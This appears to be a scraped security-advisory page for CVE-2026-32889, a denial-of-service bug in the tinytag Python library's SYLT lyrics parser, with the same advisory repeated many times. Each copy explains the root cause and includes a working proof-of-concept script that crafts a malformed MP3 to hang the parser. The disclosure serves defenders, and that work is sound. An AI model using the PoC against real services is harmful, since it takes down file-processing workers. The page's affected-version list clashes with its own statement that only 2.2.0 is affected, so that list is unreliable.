If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 02, 2016

0.16.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 06, 2016

0.15.2 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 06, 2016

0.15.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 05, 2016

0.14.2 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 05, 2016

0.14.1 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 05, 2016

0.13.1 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
